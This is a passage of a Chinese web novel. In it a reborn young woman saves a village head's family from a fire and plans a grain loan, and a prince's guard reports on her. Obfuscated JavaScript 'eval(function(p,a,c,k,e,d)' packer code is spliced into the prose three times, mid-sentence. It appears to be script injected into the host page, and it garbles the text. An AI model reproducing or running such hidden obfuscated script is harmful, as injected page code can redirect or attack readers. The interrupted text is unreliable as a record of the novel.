“咳咳……快救救我儿!”史陆香也不知是谁将自己拎了出来,只靠着仅有的意识死死抓住面前这人的手臂,狂吼,“救救我儿苟旦苟圣……” 木头因为高温而滋滋爆裂的声音不断响起,初暒大喊,“他们在哪间屋子!” 苟看财扶着自己的婆娘喘气,“一个在西房子,一个在东房……” 陆续有人泼着水从初暒跳进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他揽住苟旦的身体试图减轻妹妹的负担,就在他们快走到门口时,头顶上一根燃着火的房梁在火焰中忽然砸落下来,听到上面有异动,初暒下意识想抬头看去,可就在刹那之间她感觉自己腰部猛然受力,等回过神来时,她已经架着苟旦从西房里踉跄跑出来了。 “咚”的一响,房梁正正砸中将妹妹与苟旦推出门的初明肩膀,他闷哼一声后便被压着晕倒在西房门槛上。 “哥!” 前来灭火的‘火师’终于赶到,他们合力抬开房梁将初明拽了出来,把他们交给柏桥村出来帮忙的村民们。 村民们将苟家人和初家兄妹带离火场后,初大年才在人堆里找到自家被烟熏的看不出原貌的儿子和闺女。 “天爷啊,这是怎么了!我明哥怎的晕过去了。”于嫣红挤进来看到黑黢黢的初暒和躺在地上的初明,吓得魂飞魄散,“大夫,快喊大夫啊!” 村里的土大夫刚被喊去救治村长家的两个儿子,眼下还没功夫到这儿来,初家父母看着昏迷不醒的儿子慌张地如同热锅上的蚂蚁,村里人端着水盆站在一旁不知如何是好时,有人看见初家的小女儿眠眠半跪在初明身边解开他的上衣查看他肩上烧伤,而后把手插入初明后颈向上托起,一手按压他的前额让其头部后仰,她见初明胸膛有了明显起伏之后才又取来路边放着的水桶和水盆舀水为他清理鼻腔黑烟和伤口降温。 “哎眠眠快别折腾你哥了,等会儿大夫就来了。” 有孩子站在一旁看热闹,初暒抬头寻声时无意中瞥见了躲在人群中神色慌张的成家小子。 苟家这场大火被扑了两个时辰才得以熄灭,‘火师’做完勘察后对苟看财说,“火是从门口烧起来,火星借着北风撩到了春联,春联又引着了木门,北风喂大了火苗,这才将你这座清幽小院全部烧成了灰烬。” 苟看财颤抖着嘴不吭声,一旁的史陆香也被吓得无法言语,那领头的火兵又道,“你那西南房子存了好些粮食也都烧没了,我们拼了命也只抢出了两大包……” 听到这话,苟看财再也绷不住了,他猛地瘫坐在地上嚎啕大哭,周边围着的村民一见这场面心头皆是一跳,他们不同的面容上此刻都浮现出相同担忧:粮食没了,该不会叫他们小老百姓再交一次吧! 15. 着急 初暒身子本就虚弱,此刻还不见大夫过来为初明诊治,心中更是急躁不安。 “苟家不知积了什么德,这么大的火一家四口竟都囫囵个的跑出来了,就是可惜这座大宅子了……” “是呢,不过方才我怎么隐约瞧见有个浑身湿透脸还黑黢黢的姑娘在那里头外头跑来跑去的啊?” “姑娘家的也不知生的什么心思,竟将走水当成一场热闹去看。” 围观的人七嘴八舌,“什么看热闹呀人家是去救人啦,我穿了两件棉袄都冻得打摆子,可她呢,竟将一盆凉水将自个浇了个透,不要命似的冲进去救人,要不是那位姑娘,村夫妇连同他们俩儿子都得将性命丢到里头去了。” “啊!真的呀,谁家姑娘如此英勇?” 他们还在聚头猜测,前方初家媳妇呼天抢地的哭声在此时传来,“大夫,快喊大夫啊!” 村民听到这呼喊都拢了过来,走得近了才瞧见被初大年用衣服紧紧裹在怀里的初暒和躺在地上昏迷不醒的初明。 “来了来了,大夫来了!大家让让!” 一位头发花白的大爷背着药箱从人群中挤了进来,“大夫来喽。” “葛叔!您快救救我儿!” 见他过来,于嫣红像是见到了救星,初大年也屏着气息仔细盯着他看诊,可这位年过七旬的葛大爷只看了一眼地上躺着那人,便将目光望向了乖巧蜷缩在父亲怀里可眼睛却恶狠狠盯着自己的小姑娘。 “你这眼神像是要将我吃了。”葛大爷一边低头扒开初明的眼皮仔细查看他的瞳孔,一边语气轻快的打趣。 周围人不知道葛大爷在同谁说话,正在面面相觑时,初暒答话,“若治不好他,我会的。” 葛大爷听完这话顿了好一会儿才哈哈一笑,“你这丫头行事机灵,嘴皮子也利索。” 初大年:“葛叔,我家孩子到底怎么样啊?” 葛大爷查验完初明的鼻腔和肩背伤势后,说,“幸得冬季衣物厚实,此子身上的伤无甚要紧,只是叫黑烟呛晕过去了,现下他口鼻中的烟灰已经清理干净,呼吸也有了起伏,抱回去用温水擦洗擦洗,再换身干燥衣服,睡上几个时辰便没有大碍了,只是……我瞧这小丫头似乎要严重些。” 初暒感觉到初大年将她抱得更紧了,勒的她有些喘不过气来,“啊大夫,我家眠眠身子本就不好,今夜又着了凉,劳您再替她瞧瞧!” 他说着,声音竟带有一点哭腔,于嫣红也哭的上气不接下气,连扑带爬的过来抱住女儿。 初暒打了个冷颤后仰头安慰他们,“爹娘,我没事。” 葛大爷:“你额前旧伤未愈,身体又自打娘胎就虚弱至极,如今身子才见好就又在这严寒之中搞成这幅模样怎会没事,丫头,为救别人,搭上自己,值不值当?” 初暒忽然觉得自己既冷又热,眼前四周的人也开始转起了圈,她瞧这老头不赶快看诊,净问自己些无用废话,心中来气,“人的性命,岂能用值当一词说清!” 用力说完,她眼皮一沉终于不省人事。 葛大爷在她脸上查验了一番,道,“总算晕过去了。” 初家夫妇吓得脸都白了,众人也在诧异,葛大爷嘿嘿一笑,“莫惊,不过是着凉起了高热,方才我唬她呢,这丫头为人谨慎,气性我瞧着也不小,不把她绕晕,恐怕没人能将她带走呢。” 葛大爷看完诊,帮着初家夫妇将两个孩子送回家中。 初暒被喂了药又沉沉的睡了一觉,醒来时已是当日傍晚。 眼前又是熟悉的一幕,她暗自感叹一句:真是晕的没完没了后撑着身子从床上坐起。 见病人醒了,坐在屋内案几上写药方的大爷,笑眯眯喊了句,“丫头。” “我哥呢?” “你兄长底子好,睡了一觉便又生龙活虎了,他娘俩在伙房为你煮粥,你爹被村里人叫去给苟家帮忙了。” 初明没事,初暒终于放下心来,她低着头揉了揉肩上被砸的地方,余光瞧见有道窸窸窣窣的人影在窗外晃动。 葛大爷瞧她在看窗,打趣道,“喏,家里都烧成那样了也不管,一缓过神来过来就在你家门口转悠了,如今见你也醒了,估计才算安心呢。” 初暒不明所以,“您打什么哑谜呢?” “苟家那二小子啊!” 葛大爷仰着脖子大声喊着,仿佛生怕在外头转悠的少年听不见,可他话音刚起来,外头那道人影便像是见了鬼似的,垫着脚撒腿就跑。 “苟旦?”初暒问,“他们一家还好么?” “托你和你兄长的福。” “那便好。” 初暒肩上的伤口又热又痒,葛大爷见她还要抬手去揉,叮嘱道,“莫要再揉了,你伤在肩上,虽说我已将治愈药膏敷上,可肩颈吃了力疤痕是免不了的,可怜你小姑娘家的,年纪轻轻身上就要留疤。” “留疤有何要紧,死不了就行。” “呦呵,我还当你不怕死呢。” 初暒笑了笑,没有接话。 “从前只听说英雄救美,活到这把年纪了,竟碰上了一出美救英雄。”葛大爷起身收拾药箱,像是忽的想起来什么似的问她:“初明晕倒之后真是你将他上衣解开、后颈托起与处理口鼻吗?” “是。” 葛大爷阖住药箱木盖的手顿了一瞬,才道,“寻常姑娘家可不懂这些。” 初暒不语,葛大爷将药箱揽在怀里又道,“别人的性命,的确不能用值当一词说清,可你的性命呢?” “人活着,并不止为了自己。” “可人不为自己,怎样才叫活着?” “眠眠醒了!” 初明端碗进来,见初暒坐在床边喜得差点蹦起来,他将手中的粥完推在桌边,顾不得待客之礼,转身站在门边朝外面大喊,“娘眠眠醒啦!” 葛大爷低头笑笑背起药箱就往外走。 初暒拦他,“葛大夫,您为了我们忙活了许久,喝碗粥再走吧。” 葛大夫背对着她摆手,“不喝喽,葛大夫不喜欢哭哭啼啼的场面。” 果真,于嫣红听见儿子的喊声,和葛大爷擦肩而过还未来得及打招呼之际眼泪便从眼眶中涌了出来,她扑进初暒床边,握着女儿的手呜咽着,“闺女啊!” 初暒前世不喜欢哭,也不喜欢看别人哭,可此刻看着为女儿担忧的母亲,心中也开始难过。 自从她在这幅身体里醒过来后,好像惹得这位母亲哭过许多次了。 见妹妹神情沮丧,初明将母亲扶起,道,“娘,别哭了,眠眠饿了许久,快叫她将粥饭喝了罢。” 初明端来粥碗坐在床边,习惯性的捏着汤勺舀粥去吹,可汤勺刚送到唇边才想起妹妹好像不愿意再叫他喂了。 他忽然有些局促,不知道要将碗递给初暒还是母亲。 “哥,快些喂,我都饿了。” 初暒微张小嘴‘啊’了一声,初明愣了一下才喜笑颜开的吹凉汤勺里的稀粥伸手去喂妹妹。 于嫣红看着他们兄妹二人,终于止住了眼泪,她红着眼睛去握初暒的手,“你们两个简直是在拿我和你爹的心肝去煎。” “娘,我知错了。”初暒回握住母亲,软声认错。 “可是娘,我觉得眠眠做的很对,若不是她机敏,村长一家还不知能不能从火场里活着出来。”初明一边声情并茂,一边端着碗稳稳喂粥,“娘,你不知道,眠眠看着柔弱,可是却聪明敏捷得很,是她先发现苟家走水,并且找出火势较弱的一处墙面翻进去,找到村长一家四口的,不知怎的,我感觉眠眠自被马儿踏伤醒过来后,就变得有些不一样了……” 初暒打断他,“哥,还没谢你,救了我。” 她这一声谢,倒让初明不好意思起来,“你同哥说什么谢,哥胆子虽小,但若能让你平安活着,叫哥去死都成呢。” 于嫣红闻言拍了初明手臂一掌,骂道,“呸呸呸!你这混球,说什么死不死的,你们俩敢有什么好歹,爹娘还活不活了!” 两个孩子被她吼得不做声,于嫣红心中又软了下来,“娘虽然不曾读过书,但也晓得事理,人命关天,若有能力的确得出手相助,可…可娘一想到自己的命根子深陷火场,又觉得谁都能死,只要我的孩子好好活着就行……” 于嫣红这话说的叫她自觉愧疚,于是越说声音越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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初大年看看儿子又看了看闺女,默了一会儿终于开口,“村长家一场大火将咱们村要缴纳的粮食烧毁了大半,如今县里头发话明日就要派人来重新征粮,可咱们柏桥村民上次均已将自家存粮全数上缴了,现下若是再缴一份,这个冬天该怎么活啊。” 初明问,“烧毁了大半,那就是说还有一部分粮食还能用,为何不能先将现有的交上去,不够的我们再慢慢攒呢,而且咱们交粮是有补贴的,哪有活不下去这么骇人呢。” 初大年:“每过一日,北漠使团便离晁都近一日,县里在催我们,上头也在催县里,还有那劳什子补贴,朝廷拨的款被贪官一层层盘剥下来,到咱们手中还能剩下多少?若是真能拖、真给钱,那其他村里也不会因为催粮催出人命了。” 初明:“人命?” “是啊,我听村里人说,有当差的在贫苦地方收粮,把不愿交粮食的百姓打一顿不说,临走时还装模作样的丢了几块铜板,美名曰‘朝廷愿意花钱卖下你的粮食,不要不识好歹’,天子脚下强卖百姓过冬的粮食,却还要怪百姓不识好歹。” 初明气急,咒骂一句,“真是没有王法了!” “什么王法。”初大年苦笑一声,“皇亲国戚就是王法,那幽王出资要买百姓的粮食谁敢不从,就是有他出头,朝廷权贵官员趋炎附势,底下的人才敢如此明目张胆的欺压百姓。” 初明想了一下才道,“照着么说咱们还是收到了幽王的银子,若是他没有出这个钱,北漠又要过来,那该从百姓这里讨要的粮食也还是得讨要的,哎呀,我也搞不懂他们当官的是什么心思,眼下咱们能怎么办呢,爹,你们可有商量出什么对策来?” 初大年重重叹了口气,“要真商量出什么,我还至于在你们跟前倒苦水么。” 屋内忽然安静下来,初明皱着眉和父亲大眼瞪小眼,直到初暒问话,他们才注意到家里这个小姑娘。 初暒问,“县里什么时候来收粮?” 初大年答,“初四一早。” 初暒低头呢喃,“今日是大年初一,还有三天时间。” 初大年:“眠眠,要是有粮,咱们村不到一天就能收齐,可是现在……村里人可就指着自己那点口粮过活了。” 初暒:“总会有办法的。” 初明也满心焦灼,“可是任谁也不可能在三天之内给咱们柏桥村变出粮食啊!” 初暒看着兄长笑道,“哥,你放心,筹粮一事有人比咱们村民更着急。” 16. 私己 初暒肩上的伤抹了药就只慢慢等它自己好了,因怕母亲见了伤口忧心,她早起后独自上药又将纱布裹缠好才出房门。 大年初二,本是村里热热闹闹串门走亲戚的日子,可是柏桥村内外却冷冷清清的。 见她出来,初明端着热乎乎的窝头过来说,“眠眠,果如你说的还有人比咱们村民还急。” 初暒活动着伤着的臂膊,问,“爹娘呢?” “就咱爹娘实在,一大早就被村长叫走了,我跟去偷偷看了一下,村里人也知道他们一家什么心思,大多都借口躲着不出家门呢。” 初暒听完,抬步就往外走,初明追上去问道,“哎眠眠你上哪儿去?” “苟家。” 苟家被烧的屋子只剩下断壁残垣,黑黢黢的木头泥墙在冬日发出难闻的烧焦气味,有一些村民低着头帮苟家两个孩子将废墟上的木块石块转运出来,以便他们以后重新建盖。 初暒巡视一圈,终于在院落不远处找到了正被苟看财夫妇拉着说话的父母。 “唉,儿子的亲事没说成,我这芝麻小官也当不了,苦心干了一辈子,叫一场大火给烧干净了,大年,你说人怎么会如此倒楣。” 初大年心想什么乱七八糟的亲事,我活泼漂亮的闺女才不可能嫁给你儿子,他含含糊糊安慰道,“人都有个低谷,过了这阵就好了。” “过了这阵?”苟看财苦笑一声,“初四筹不到粮食,我可能就再没有这阵了。” 初大年将他这话琢磨了好一会儿才讶异,“这可如何是好啊!” 见他心软,苟看财像是找到了救星,他拽着初大年臂膀恳切说,“大年兄弟,我知你干活卖力,家中顶梁柱明哥又懂事,不知能不能劳你们一家带头做个表率,再给咱们柏桥村筹一批粮……” 初大年刚‘这’了一声,一旁静静听爷们说话的史陆香此时也牵着于嫣红的手,接话,“咱们两家都是差点做了亲家的,若是能平安度过这一劫,我们老两口,还有那俩小子今后必定报答你们!” 上一批粮食村里人已经交的很难了,如果他们初家这次敢带头交粮,别说家中难过活,就是村里人的白眼唾沫也能将他们一家淹死。 初大年不知怎么回答,只得满是窘迫的和妻子面面相觑。 这夫妇俩都是老实人,不会说场面话也从未生过害人的心眼,苟看财夫妇就是看中了他们俩这实诚性格,才想将他们一家拉下水。 初暒站在阴影处听了许久,直到这时才出声喊了句,“爹!” 她这脆脆一声出来,立刻引起了周围帮忙人注意,见她来了,苟旦搬木块的推车越载越少,推车转悠的圈子越来越大,没一会儿就转悠到了初暒身后。 “呦这不是村长家的大恩人么。” “眠眠不在家里养着,跑出来作甚,如今这里可没有什么人要救了,哦~苟旦~” 苟旦被村里伙伴打趣,红着耳朵嚷了声“一边儿去!” 初暒倒像是没听到似的走到父母身边,看向苟看财,“您是村长,若要带头做表率,也应该是您。” “大人说话,你个小丫头片子插什么嘴!” 见她打断了自己说服初大年,本来就对初暒印象不好的苟看财语气有些冲,虽然感激这丫头救了他们,可人活着,官没了有什么意思。 初暒并没有对他的吼声吓到,倒是周围的人开始对苟看财指指点点,言谈间似乎是在指责他如此对待自己全家的救命恩人,简直忘恩负义。 苟旦听着大家的小声议论,面上有些挂不住,他悄悄拽了拽父亲的衣襟示意他不要那么大火气,苟看财心里有鬼此时也忽然觉得有些愧对初暒,“伯伯没看清是你,这才出言呵斥,初家丫头冒死救了我一家四口,伯伯心中感恩万分,只是这几日四处忙着,还不曾携礼登门去看望你,你身子如今尚未痊愈不在家躺着,跑出来作甚。” 初暒:“我爹娘与人为善,平日哪怕再受人欺负,只要他人遭了难总会不计前嫌的上门帮衬,但总有人将他们的善心视作愚笨,净挑些吃力不讨好的活计派给他们做,今日我若不来当这个恶人,恐怕我们初家再难在柏桥村抬起头来。” 她说的不算委婉,村里人抬头瞧了一眼脸色不太好的苟村长又都默默低下头去,他们心里清楚,村长一早拽着初大年夫妇是所谓何事,但是他们是庄稼人,别人叫卖力气可以,但要让出钱出粮便就像要他们的命一般,倘若真有人敢出头叫他们再叫一回粮,那么此人便会与他们的仇敌无异。 初大年和于嫣红默默走到初暒身边,像是在给女儿撑腰,苟看财看着他们一家同仇敌忾衬得自己里外不是人,交粮的时限将近,可他眼下一点办法都没有,村长这官虽小,可怎么说也能比别人高一头,但……真要丢官也是没法子的事,若是上头真铁了心要收粮,他们柏桥村又交不出粮食,跟其他村子似的出了人命可怎么办? “唉。” 苟看财心里着急,可是脑袋里一点解决的头绪都没有,他重重叹了口气双手手掌捂着眼睛蹲在地上,闷声道,“我也是没有办法了,但凡我有粮食也不会为难你们,只是朝廷要征收,我们小老百姓只能砸掉牙齿和血吞,过两天上面就要来人了,他们可不会好言好色的求着大家交粮,要是闹出了人命……要是闹出了……哎呀,什么东西能有命重要!” 他的话让周围安静了下来,但听归听,该不给还是不给,反正被打死是死,饿死也是死,可就算是死,他们也要把粮食存下来,藏在自己身边。 过了许久,人群中有个声音说,“我有个办法。” 众人还在寻找这声音来处,初暒先从他们当中走了出来,“我有个法子,但是需要诸位帮忙。” “只要不打我们庄稼人粮食的主意,什么忙我都愿意帮。” “说的是!” 初暒看着他们沉声道,“粮食被毁,我知道大家都同我家一样再拿不出余粮补救,但是现在没有,不代表开春之后没有,如果诸位愿意开春收粮后如数交出规定粮食,那么此劫必定可以平安度过。” 苟看财皱眉问,“初四就是最后期限了,开春再交粮是个什么道理,你这娃娃莫要当这事是小孩过家家。” 初大年也担忧的看着自家闺女道,“眠眠,这可不是小事啊。” 初暒:“爹,我知道这不是小事,但我敢说,就敢做,谁愿意便应声,不愿意就只当我再胡言乱语罢。” 村里人闻言,纷纷开始与自己周边之人商量低语,初暒静静地站在原地等候,不到半盏茶的功夫,人群各处便有人高声道,“我愿意!咱们柏桥村又不是极为穷苦的地方,现下粮食都在地里长着,等开春便会有收成,可若是初四交不了粮,咱们还能不能平安活到开春还未可知呢。” “天有不测风云,你怎知开春地里会有收成?万一……” “呸呸呸,快别说这种晦气话,知与不知不试试怎能知晓,我也愿意开春交粮。” “我也愿意……” “我也……” 附和的声音越来越多,初暒将手掌于空中下压,示意大家安静下来,这时有人问,“眠眠,你到底想出了什么办法,快说于我们大家听听!” 初暒道,“柏桥村现在的情况大家都心中有数,既然村内筹粮这条路行不通,那咱们就向村外借粮。” 众人皆讶异,“借粮?” 初暒的办法让苟看财的灵台闪过一丝清明,可是这清明闪过,更大的疑惑涌现了出来,“可是能向谁借呢?各村各户都是‘自身难保’的啊。” 初暒没有回答,反而转身小声问初大年,“爹,您什么时候上工?” 初大年答,“本来陈富户让我过了初四就去,可是不知怎么的又说近日家里不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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平白又被他吼,初暒脾气此时也上来了,“失火那日,你不顾夫人安危,只顾自己在屋内烧断的房梁下寻找你藏匿的私己,如今柏桥村因你看管不严有了大损失,你不想办法弥补偿还,居然还惦记自己的银钱,你如此行径担得起村民平日对你的关照与尊敬么!” 苟看财一家都是初暒从火场救出来的,因而只有她知晓那日在火场里发生了什么,村民们听初暒说苟看财有钱却不愿意拿出来,心里也生出了暗火,但他们顾忌同村之情都按捺不发,可是一旁的史陆香不干了,她一个箭步冲到丈夫身边便开始对着他拳打脚踢,嘴里咒骂,“我与你夫妻多年哺育双子当牛做马,你背着我攒私房钱也就罢了,我想不到你竟为了钱财不顾我性命!苟看财你个老泼皮好狠的心啊!” 被妻子又踢又咬的苟看财一时忘了问初暒怎知自己在房梁藏了钱,他在同村好友的帮助下逃离妻子的爪牙后,畏畏缩缩道,“哪家当家的跟前没有一点私己,若不是我藏得这一点修房子的钱,你要让两个孩子跟着咱们一起喝西北风吗!” 被同村女子围着安慰的史陆香哭得上气不接下气,可仍然指着苟看财口齿不清的骂,“快将你留的钱全数交给眠眠,此事若能顺利解决我往后定然不计前嫌,但若是不能,我一定先砍了你泄愤!” “只给一半行吗?”苟看财声音越来越小,“一半也够咱们搭个遮风挡雨的屋子了……” 史陆香吼道,“全数!” 苟看财被妻子吓得打了个寒颤,而后才心疼的从胸口掏出一个布包塞给初暒,“给你,都给你!” 周遭的闹剧总算告一段落,而挑起这场闹剧的始作俑者心安理得的接过苟看财递来的钱袋,对父亲说,“爹,这两日您先和苟村长收集柏桥村春季还粮手印,剩下的事情就交由我与苟旦来办吧。” “啊?” 被一团乱麻的家事搞得晕头转向的苟旦指着自己,“我?” 17. 陈家 有了指望,柏桥村重又热闹了起来。 苟旦蹲在路边看着在废墟上忙碌的众人,问,“眠眠,我能帮你做什么呢?” “我有几个问题,劳你替我解疑。” 苟旦终于有了精神,“嗯,你问。” “陈富户家只有一个孩子?” “对,只有一个,陈富户老来得子,他的夫人生子时年岁大了,生完陈家宝不多久人便没了,陈富户很珍爱这个孩子,家宝家宝,就是陈家的宝。” “陈家宝平日里可有什么玩伴?” “在书院时有一些,但是在家中陈富户管的严,只平日里常将他留在院子里和下人们玩。” 初暒思考了片刻,而后又问,“你家走水的原因查到了吗?” “嗯?”她的问题让人摸不着头脑,但苟旦还是认真回道,“找到了,是成非,除夕你们回家后我们一群人也散了,因记恨我没有帮他拉偏架便摸黑朝我家门口扔了只炮仗解恨,不曾想炮仗火星没有熄灭,夜里又起了风,风势将火星喂成火势,后来……我家便就是这幅光景了……” “是火师将他查出来的?怎么没有听人说过。” 苟旦摇摇头,“那日你因救我们一家发高热晕过去后,他忽然跪在地上嚎啕大哭起来,众人过去问他,他才说此处走水可能是他的缘故,幸好这场灾祸中无人丧生,而他又不是有意为之,村里人念成非还是个孩子,他家里又将仅有的粮食拿出来给我们家帮忙的人做大锅饭,故而便没有人再提此事了。” 初暒看着不远处正低头和父母卖力干活的成非,说,“你叫上成非,我们下午去安南庄。” “好,我去叫他。” 苟旦说完便一溜烟的跑了,初暒脑袋里在想事情,等回过头走了几步,才看到不知从什么时候起就站在墙边等她和朋友说完话的初明。 “哥?” “哦。” 哦? 平日从没有见过这么无精打采的兄长,初暒问他,“发生什么了?你怎的看起来这样没有精神?” 初明幽怨的看着妹妹,有些委屈,“你和苟旦、成非他们去安南庄竟也不叫上我。” 原来是因为这个。 初暒笑道,“没叫你去安南庄,只因我另有求于你呢。” 初明眼前一亮,“什么求不求的,眠眠你只管说,哥什么都愿意做!” “那你附耳过来。” 初暒贴着兄长耳朵不知说了什么,只见初明边点头边说,“有的,娘专门给我留了,好,好,哥知道了……” 目送兄长离开,初暒看到苟旦遥遥指着自己所在的方向似乎是在同成非谈论她,她与成非两相对视,他们的目光中没有鄙夷也没有犹豫,很快她看到成非点头,苟旦也对着她露出了表示成功的笑容。 自从在柏桥村醒来后,她不是昏迷就是受伤,已然荒废了大把时间,她必须借助所有可以利用的机会走出去,只有走出这里站在晁都更尊贵的位置上,她才能光明正大的手刃仇敌,为那五千兵士及母亲报仇。 眼下,柏桥村筹粮一事就是个机会。 身为女子,初暒本不能孤身伙同两个男子出门,但事出有因,柏桥村诸位村民什么都没有说,有些村妇反倒送了自家男童的衣物给她穿。 初暒前世身份特殊,像穿男装、挽男子发髻、学男子行走坐卧都是手到擒来的事,可今生她却只是装作懵懵懂懂的模样任人摆弄。 吃了饭,又带了些干粮,苟旦带着成非和初暒前往安南庄。 一路上成非都在笑话初暒穿的是什么玩意,身量这么长,却裹了一身半大小子的衣装,裤子连脚踝都遮不住,顶的男童式样发髻倒衬的她一张白嫩嫩的小脸越发像个女孩子,也不知这幅打扮是要骗谁。 苟旦一路追着成非打,喊他不要欺负眠眠,当心她捡石头轮你,可跟在他们身后行走的初暒却毫不在意。 男人可以扮,但不是现在。 安南庄是安南山山脚处的村落,因紧靠着安南山地势平坦、土地肥沃,居住在这里的人家从土地里挣了钱又开始做生意买卖,大多十分富贵。 苟旦带路在一个巷角停下,他指着对面一所门楼挂有陈宅字样牌匾的宅院,说,“那里便是陈富户家了。” 成非问,“这大白天的门怎么关着?” 苟旦:“是呢,往常路过这儿里头总是热热闹闹的。” 周遭人来人往,可是三人在等了半个时辰也不见里面有人出来。 再盯也盯不出花儿来,初暒绕过他们走到陈家对面一个卖糖葫芦的摊主前,道,“大伯,劳驾给我包两串糖葫芦。” “好嘞!” 大伯麻利的将提前做好的糖葫芦裹上糯米纸递给初暒,“姑娘,给,接好喽!” 初暒将铜板放进钱娄中接过糖葫芦,笑笑,“总听我同窗好友说您家糖葫芦好吃,终于赶着过年刚收了压岁钱就跑来买了。” “哈哈你这丫头还没吃糖呢,小嘴就这么甜。”大伯又从摊上抓了把毛栗子塞给她,“多给你抓点,同你那些同窗好友分着吃。” “多谢大伯好意,只是……本想给我那好友买了糖葫芦送去的,只是不知为何他家大过年的大门却紧闭,我联系不上人,有些着急。” 说着,初暒偏头担忧的看了一眼陈家。 见她回头,糖葫芦大伯问,“你可是在安南书院读书?” “您是怎知?” “我这小摊对面的陈富户家小子就在安南书院读书,我方才见你瞧着他家了,便想着你那好友莫不是他?” “是他呢。” 大伯摆摆手道,“那你等不着他了。” 初暒佯装焦急,忙问,“可是出什么事了?” “也不算。” 下午往来的客商不多,做生意的小贩边整理摊位货品边同小姑娘闲聊,“陈家那位富户老来得子,对他那宝贝珍视得很,孩子嘛,一娇惯就真当自己能上天能入地了,昨个大年初一,有一队兵马路过咱们这儿往虔来山里走了,陈家小少爷见人家官爷的马儿雄壮魁梧,便缠着陈老爷要马骑,陈老爷不答应啊,好么,那孩子跟疯了似的开始哭闹,因怕他出逃偷溜出来,从昨儿到今个这陈家大门就没有开过呢。” 初暒又问,“可是他们到底是富贵人家,买匹马也不是什么难事,怎的就不让骑呢?” “倒也不是买不起,你还小呢,不懂陈老爷的苦心,他老来得子生的又是独苗,那可真是含在嘴里怕化了捧在手里怕碎了,平日里磕着绊着都叫他老人家心疼的死,别说骑那么老大且不通人性的马了,而且……”大伯说着像是又想起什么似的,“这陈家有一位特别看中的算命先生,家里一有什么不称心的就会请他来看看,我听说那算命的算出陈家小少爷这年有大劫,要想破了此劫,须得陈家好生积德,光是‘大劫’这两个字就叫陈老爷吓破胆了,要换我家儿子,我也不愿意叫他骑那个随时受伤丢命的玩意儿。” 原来如此。 初暒垂眸思索,卖糖葫芦的大伯见她有些失落,便劝说,“又不是往后都见不着了,你且好好趁着过年多玩几天,等初七去了书院再同他玩耍也不迟啊。” “嗯,那多谢大伯的糖葫芦,祝您生意兴隆啊!” 初暒在小摊贩慈爱的目光中转进苟旦和成非所处的巷角,她将手里的糖葫芦塞给两人,“你们吃吧。” 苟旦:“眠眠你吃。” “我不爱吃甜的。” 成非接过糖葫芦就着糯米纸一口一个,他含含糊糊的问,“话说咱们不是来借粮的么,你不问陈富户的踪迹,打听陈家宝做什么?” 初暒没听见,心中只想着那摊贩说的‘昨个大年初一,有一队兵马路过咱们这儿往虔来山里走了’。 翻过虔来山就是兴民城,兴民城有一条直通映月关的官道…… 莫非北漠和亲使团已经入境了? “初眠眠!” 成非大喊一声,初暒终于回神看他。 “你在乡亲们面前夸下海口说能借到粮食,可是我们在这里蹲了一下午连陈富户人都没见上,你要是承认自己吹牛,咱们现在就赶紧回村,家里大人说不定还能想出办法!” 初暒还没来得及回话,苟旦先开口说,“方才我也打听到,陈富户每日上午都会出门议事应酬,一直到夜里才回来,咱们要不再等等?” “这大冬天的你想让咱们冻死在这儿吗!”成非嘟嘟囔囔,“就不该听你忽悠,她一个丫头片子能想出什么好主意……” “不用等了,咱们回去吧。” 此言一出,两个男孩同时看向初暒,成非哼了一声满脸‘我就知道’的神情,苟旦却有些慌了,“眠眠,咱们不再试试了吗,还有时间呢。” 初暒笑笑,问他,“你可进过陈宅,知晓陈家宝的屋子在何处?” 苟旦摇头,“我不知。” 初暒又问成非,“我们三个小孩,陈 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成非说着转身就走,初暒一个箭步拽住他,认真道,“明日,我能让陈家宝出来,但是这事儿还需要你的帮助。” 大年初二,安南庄的傍晚要比村子里热闹些,可结伴回家的三个孩子却无心观赏,初暒心中思索北漠和亲使团来晁期间定然会掀起风浪,只是前潮浪花不知会开在何处,走在她左边的苟旦想起家中残败的光景偶尔难过,可更多时又觉得此刻伴月而行的时光更为珍贵,最边上的成非踢着路边石子,越靠近村口就越觉愧疚,因他之过,反倒让自己的爹娘在村里抬不起头来。 三人想的认真,没有留心身后树下一道黑影在夜色中闪过。 晁都城,幽王府中。 同街巷的繁华热闹相比,这座宅院阴暗可怖的像是阎王寝殿。 庭院中空无一人,却让走在内里的人觉得处处都有眼睛紧紧盯着自己,好似只要一个不留神他就会永远消失在这里,而无一人所知。 黑衣人走过长廊,穿过拱门,又经过一片花园终于在一所闪着明亮烛光的屋子前停下,他刚抱拳跪下,房梁上就立刻掉下一只影子。 “高寒?你怎的才回来,吃了没有?” 高寒望着倒吊在房梁上的无恩,冷冷道,“只差取你下酒。” “诶~你好血腥!”无恩翻身下来,道,“主子才沐浴过,你稍等等再进去吧,莫要将凉气过给他。” 高寒:“嗯。” “无恩,外头什么动静?” 无恩低声回道,“回主子,高寒回来了。” “那便进来罢。” 无恩:“可他身上还冷着呢。” “不碍事。” 无恩无奈地看了一眼高寒,示意他进去。 高寒将双手合住朝里呵气,把手暖热后又在上臂胸膛上搓了搓才推门进去。 烛火夜色,重纱暖帐。 薛霁身着一袭束腰丝质白袍屈腿半靠在精雕云纹木床夜读,黑色湿发半散在身后,摇曳的烛火光芒跳动在他白皙光洁的下颌,高寒不敢在向上看,半跪后抱拳复命—— “主子,属下在柏桥村观察了那丫头几日并没有发现什么特别,今日去安南庄时虽说扮了男装,可言谈举止、音容作态全然是个不更事的小丫头,属下无能,耽误了许多时日。” 他在认错,可靠在床榻的薛霁并不在意,他翻动着书页,像是心不在焉,“去安南庄做什么?” 